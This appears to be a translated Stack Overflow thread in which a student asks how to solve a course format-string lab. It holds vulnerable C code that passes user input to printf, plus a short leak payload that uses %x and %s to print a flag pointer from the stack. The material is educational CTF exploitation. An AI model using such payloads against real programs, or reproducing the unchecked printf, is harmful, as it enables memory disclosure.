c - 如何使用格式字符串漏洞从堆栈中读取任意指针?

标签 c security x86 reverse-engineering format-string

我正在尝试从 CSCI 4971 course 学习逆向工程,我正在努力解决一个特定的实验室问题 ( fmt_string )。

我应该在某个地方找到并打印出旗帜商店。源代码如下所示:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define LINK "\x1b\x5b" "34m"
#define RESET "\x1b\x5b" "0m"


int main()
{
  char buf[256];
  char *blah = (char *)0xdeadbeef;
  char *pointer = flag;
  char *xblah = (char *)0x1337c0de;

  printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET
         "Nobody really cared though until this exploit for ProFTPD was\n"
         "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n"
         "\n"
         "In this challenge you do not need code execution. The flag is\n"
         "somewhere in memory. There is a pointer to it on the stack. You\n"
         "must use this pointer to dump the flag...\n"
         "\n"
         "You will retrieve it by passing in format string specifiers to\n"
         "the printf() function\n"
         "\n"
         "After class read this article by rebel for fmt string leetness\n"
         LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n"
         "\n"
         "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n"
         "\n oh, and man printf\n"
         "\n"
         "\n"
         );

  while(1)
  {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }

}

这就是我解决问题的方法:我知道输入 %x 将打印出堆栈中存储的数据。因此,当我输入 AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x 时,我得到输出 AAAA.00000100.080c7020.00000000.1337c0de.080c90a0。 deadbeef.41414141,正如我所料。

最后 4 个字节 41414141 是开头的 4 个 As',4 个字节 deadbeef1337c0de 是源代码中硬编码的。现在,我非常确定该标志存储在地址 080c90a0 中。

但是当我运行 this bash command 时,我无法获取标志:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"

我得到的是:

000000.> ��
          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                            .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                            .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
      .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
              .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��

请帮助我理解我做错了什么,为什么会得到这个输出以及我应该怎么做才能获得标志?

最佳答案

您的第一次尝试表明指针存储在第 5 个位置。

只需将第 5 个 %08x 替换为合适的格式代码,具体取决于指向位置中的数据。如果flag指向一个字符串,那么%s是合适的:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x

预期输出:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141

关于c - 如何使用格式字符串漏洞从堆栈中读取任意指针?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/45879882/

相关文章:

c++ - Qt 每秒更新一次值

c - 为客户 C 编程分配点

C 在循环中返回无效地址

ios - 为什么设备越狱后 NSFileProtectionKey 不具有属性?

Websphere 7 中 Axis2 1.4 的 Java 2 安全性

c++ - 最快的仪器分析器是什么

assembly - 在编码 VEX 指令时,NDS、NDD 和 DDS 代表什么?

c - 数组检查从 0 到 size-1 的所有整数

python - 是否保存存储使用 sha256_crypt 加密但没有额外盐的密码

assembly - AVX512 矢量长度和 SAE 控制